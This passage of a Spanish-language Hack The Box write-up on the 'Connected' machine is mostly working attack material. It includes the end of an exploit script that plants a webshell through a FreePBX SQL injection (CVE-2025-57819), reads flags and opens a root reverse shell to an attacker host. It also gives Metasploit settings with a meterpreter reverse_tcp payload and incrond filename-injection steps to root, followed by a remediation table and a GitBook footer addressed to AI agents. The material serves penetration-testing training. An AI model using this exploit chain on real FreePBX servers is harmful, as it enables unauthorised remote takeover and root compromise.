    ap.add_argument("--lhost", help="Tu IP (requerido con --shell)")
    ap.add_argument("--lport", default="9001", help="Puerto del listener")
    args = ap.parse_args()

    if args.shell and not args.lhost:
        ap.error("--shell requiere --lhost <tu_ip>")

    base_url = normalize(args.target)
    suffix   = randstr()
    session  = requests.Session()

    print(f"[*] Target : {base_url}")
    print(f"[*] VHost  : {args.host}")
    print(f"[*] Planting webshell via cron_jobs SQLi...")
    shell_name = plant_shell(session, base_url, args.host, suffix)

    print(f"[*] Waiting for cron (up to 125s)...")
    shell_url = wait_shell(session, base_url, args.host, shell_name)
    print(f"[+] Webshell active")
    print(f"[+] id: {runcmd(session, shell_url, args.host, 'id')}")

    user_flag = runcmd(session, shell_url, args.host,
                       "cat /home/asterisk/user.txt 2>/dev/null")
    print(f"[+] user.txt : {user_flag}")

    if args.shell:
        print(f"[*] Triggering root reverse shell → {args.lhost}:{args.lport}")
        root_revshell(session, shell_url, args.host, suffix, args.lhost, args.lport)
        print(f"[*] Webshell artifact: htb-{suffix}.php (limpiá a mano tras usar la shell)")
    else:
        print(f"[*] Triggering incrond hook for root flag...")
        root_flag, root_copy = privesc(session, shell_url, args.host, suffix)
        print(f"[+] root.txt : {root_flag}")
        cleanup(session, base_url, args.host, suffix, root_copy, shell_url)
        print(f"[*] Cleanup done.")

if __name__ == "__main__":
    main()
```

**Uso:**

```bash
# Modo leer flag (default)
python3 pwn_connected.py http://10.129.10.139/ --host connected.htb

# Modo reverse shell root
nc -lvnp 9001 &
python3 pwn_connected.py http://10.129.10.139/ --host connected.htb \
    --shell --lhost 10.10.15.21 --lport 9001
```

***

### 9.5. Alternativa con Metasploit

> **Dónde encaja esta sección:** es una **vía alternativa al foothold** (secciones 5-6). Reemplaza el PoC de watchTowr + estabilización de shell por un módulo que lo automatiza. **No reemplaza el privesc** — desde la sesión meterpreter se continúa con el método manual de la sección 8. Léela como "otra forma de llegar a ser asterisk", no como un camino paralelo completo a root.

Existe un módulo oficial de Metasploit para este CVE: **`exploit/unix/http/freepbx_unauth_sqli_to_rce`** (mergeado a metasploit-framework en octubre 2025, autor Echo\_Slow, basado en el PoC de watchTowr). Automatiza el mismo chain SQLi → cron\_jobs → RCE y entrega una sesión directamente.

#### Uso del módulo

```
msfconsole -q
msf > use exploit/unix/http/freepbx_unauth_sqli_to_rce
msf exploit(freepbx_unauth_sqli_to_rce) > show options
```

**Opciones a setear:**

```
set RHOSTS 10.129.10.139
set RPORT 443
set SSL true
set TARGETURI /
set LHOST tun0          # o tu IP de la VPN directamente
set LPORT 4444
set payload cmd/linux/http/x64/meterpreter/reverse_tcp
run
```

**Detalles relevantes del módulo:**

* Afecta FreePBX previo a 15.0.66 / 16.0.89 / 17.0.3 (Connected corre 16.0.40.7 → vulnerable)
* `WfsDelay` por defecto es **70 segundos** — el cronjob de FreePBX puede tardar hasta un minuto en disparar, igual que con el PoC manual. No te impacientes.
* Target único: `Unix Command` (ARCH\_CMD)
* Tiene `check` implementado: `check` confirma vulnerabilidad antes de explotar
* Deja artefactos en disco e IOCs en logs (declarado en las Notes del módulo)

#### Verificar vulnerabilidad sin explotar

```
msf exploit(freepbx_unauth_sqli_to_rce) > check
[*] Checking if vulnerable...
[+] The target appears to be vulnerable.
```

#### Resultado

El módulo entrega una sesión meterpreter (o command shell) como **`asterisk`** — el mismo nivel de acceso que el foothold manual. A partir de ahí:

```
meterpreter > getuid
Server username: asterisk
meterpreter > sysinfo
```

#### Privesc desde la sesión Metasploit

```
# Background y suggester
meterpreter > background
msf > use post/multi/recon/local_exploit_suggester
msf > set SESSION 1
msf > run
```

**Salida real del suggester contra Connected (filtrada a los "Yes"):**

```
exploit/linux/local/sudo_baron_samedit       Yes  sudo 1.8.23 is a vulnerable build
exploit/linux/local/sudoedit_bypass_priv_esc Yes  Sudo 1.8.23 vulnerable, pero OS no explotable por este módulo
exploit/linux/local/su_login                 Yes  appears vulnerable
exploit/linux/local/pkexec                   Yes  service running, could not be validated
exploit/linux/local/ptrace_sudo_token...     Yes  service running, could not be validated
exploit/linux/persistence/* (varios)         Yes  bash_profile, init_systemd, cron, ssh_key
```

> ⚠️ **Lección clave — los "Yes" son trampas aquí.** El suggester marca varios como vulnerables, pero:
>
> * **`sudo_baron_samedit` (CVE-2021-3156)** dice "sudo 1.8.23 is a vulnerable build" — es el **rabbit hole más tentador**. La versión de sudo *es* vulnerable en teoría, pero intentar Baron Samedit acá te hace perder tiempo: el privesc diseñado de la máquina es incrond, no sudo. Detección de versión ≠ explotación exitosa.
> * **`pkexec` (PwnKit)** aparece arriba como "could not be validated" pero el check detallado dice "does not appear vulnerable" → ya parcheado.
> * Los **`persistence/*`** (bash\_profile, cron, ssh\_key, init\_systemd) no son privescs — son módulos de *persistencia* que requieren que ya seas root o que escriben en lugares writables por asterisk sin escalar privilegios. Ruido.
>
> **Ninguno lleva a root de forma limpia.** El privesc real —**incrond hook injection**— no aparece en la lista porque es una misconfig específica de FreePBX/Sangoma que ningún módulo de Metasploit modela. Esto ilustra el límite del automatismo: el suggester es un buen punto de partida pero **confiar ciegamente en sus "Yes" te manda a rabbit holes**. Hay que verificar cada uno y, sobre todo, enumerar a mano lo que las herramientas no ven (como los directorios writables de incrond).

> **Para el aprendizaje (CPTS):** esta es justo la diferencia entre resolver con pipeline automático y entender la máquina. Un pipeline que corre el suggester y prueba los "Yes" en orden fallaría en Connected o perdería mucho tiempo en Baron Samedit. La enumeración manual de `/etc/incron.d/` y los permisos de `/var/spool/asterisk/incron/` es lo que lleva al privesc real — y eso ninguna herramienta lo sugiere.

#### → Cómo continuar hacia root desde acá

Llegado este punto tenés una sesión meterpreter como `asterisk` pero el suggester no te dio una vía válida a root. **El camino correcto es abandonar el automatismo y pasar al privesc manual de la sección 8.** Concretamente:

1. **Conseguir una shell de sistema desde meterpreter** (el privesc de incrond usa comandos de filesystem, más cómodos en una shell normal):

   ```
   meterpreter > shell# luego upgrade a TTY:python3 -c 'import pty;pty.spawn("/bin/bash")'
   ```
2. **Enumerar incrond a mano** (lo que el suggester nunca mira):

   ```bash
   cat /etc/incron.d/sysadminls -la /var/spool/asterisk/incron/   # ¿writable por asterisk?
   ```
3. **Seguir la sección 8** — específicamente la subsección *"Variante: privesc manual desde sesión Metasploit"*, que documenta este flujo exacto paso a paso (probado en vivo): generar el payload en el target, escribirlo como nombre de archivo, y dejar que `incrond` lo ejecute como root.

> En otras palabras: Metasploit te deja en la puerta (foothold como asterisk), pero **la llave a root la fabricás a mano**. Si estás siguiendo este writeup vía la vía Metasploit, este es el punto donde saltás a la sección 8 y continuás idéntico al método manual.

#### Cuándo conviene cada vía

| Vía                                     | Ventaja                                                     | Desventaja                                              |
| --------------------------------------- | ----------------------------------------------------------- | ------------------------------------------------------- |
| Módulo MSF `freepbx_unauth_sqli_to_rce` | Foothold automatizado + sesión meterpreter + `check`        | Ruidoso, IOCs en logs, binario detectable por AV/EDR    |
| PoC watchTowr (`.py`)                   | Rápido, transparente (ves cada request), buen aprendizaje   | Solo foothold, shell por webshell hay que estabilizarla |
| Script `pwn_connected.py`               | Chain completo end-to-end (foothold + privesc) reproducible | Específico de esta máquina                              |
| `nc` + bash manual                      | Máximo control y entendimiento, sigiloso                    | Más pasos manuales                                      |

Para **aprender** (tu objetivo de CPTS), el PoC manual o el script propio enseñan más porque ves cada paso. Para **velocidad de foothold** o un engagement con pivoting, el módulo de Metasploit es la vía más rápida — pero recordá que ninguna de las dos te resuelve el privesc de incrond, eso es trabajo manual sí o sí.

***

### 10. Remediación

| Área              | Problema                                                          | Fix                                                     |
| ----------------- | ----------------------------------------------------------------- | ------------------------------------------------------- |
| FreePBX           | SQLi en parámetro `brand` sin sanitizar                           | Actualizar a versión parcheada                          |
| incrond           | Directorio de triggers writable por usuario de servicio           | Restringir permisos a root:root 750                     |
| sysadmin\_manager | Decodifica y ejecuta payload del filename sin validar contenido   | Validar comandos permitidos con whitelist antes de exec |
| FreePBX           | `cron_jobs` accesible vía SQLi para insertar comandos arbitrarios | Aplicar prepared statements en el módulo endpoint       |

***

### 📚 Conceptos Clave

| Concepto                                    | Descripción                                                                                                                                                                                                                                                                                                                                                                                      |
| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **FreePBX SQLi (CVE-2025-57819)**           | El parámetro `brand` en `/admin/ajax.php?module=...endpoint...` se inyecta sin sanitizar. Soporta error-based (`EXTRACTVALUE`) y stacked queries.                                                                                                                                                                                                                                                |
| **Error-based SQLi con EXTRACTVALUE**       | `EXTRACTVALUE(1, CONCAT('~', payload, '~'))` fuerza un error XML que incluye el resultado de la subquery en el mensaje de error. Límite: \~32 chars por llamada → usar `SUBSTRING`.                                                                                                                                                                                                              |
| **Stacked queries vía cron\_jobs**          | En lugar de `INTO OUTFILE`, se inserta una fila en `cron_jobs` con un comando shell. El scheduler de FreePBX la ejecuta cada minuto como `asterisk`.                                                                                                                                                                                                                                             |
| **incrond (inotify cron)**                  | Demonio que ejecuta comandos cuando el filesystem genera eventos (create, modify, close\_write) en directorios watched. Equivalente a cron pero basado en eventos, no en tiempo.                                                                                                                                                                                                                 |
| **Payload-in-filename**                     | El nombre del archivo creado en el directorio de incrond *es* el argumento del comando ejecutado como root. Al codificar el payload como `gzip → JSON → base64`, los caracteres peligrosos son invisibles para el filtro superficial de `sysadmin_manager`.                                                                                                                                      |
| **Command injection vía shell metachar**    | El `;` dentro del payload, una vez decodificado, rompe el contexto del comando `fwconsole` y permite encadenar comandos arbitrarios que se ejecutan como root.                                                                                                                                                                                                                                   |
| **EXTRACTVALUE truncation**                 | EXTRACTVALUE tiene un límite de \~32 chars en el mensaje de error. Para extraer strings más largos (como hashes SHA1 de 40 chars) hay que hacer dos queries con `SUBSTRING(campo, 1, 30)` y `SUBSTRING(campo, 31, 30)`. El segundo chunk empieza en 31 (no en 30) para evitar overlap — si empieza en 30, el char de esa posición se duplica y el resultado queda corrupto.                      |
| **Falsos positivos del exploit\_suggester** | El `local_exploit_suggester` marcó `sudo_baron_samedit` como vulnerable por versión (sudo 1.8.23) pero es un rabbit hole — detección de versión ≠ explotabilidad. PwnKit estaba parcheado y los `persistence/*` no son privescs. El privesc real (incrond) no aparece porque ningún módulo modela esa misconfig. Lección: verificar cada "Yes" y enumerar a mano lo que las herramientas no ven. |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/hack-the-box/connected.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
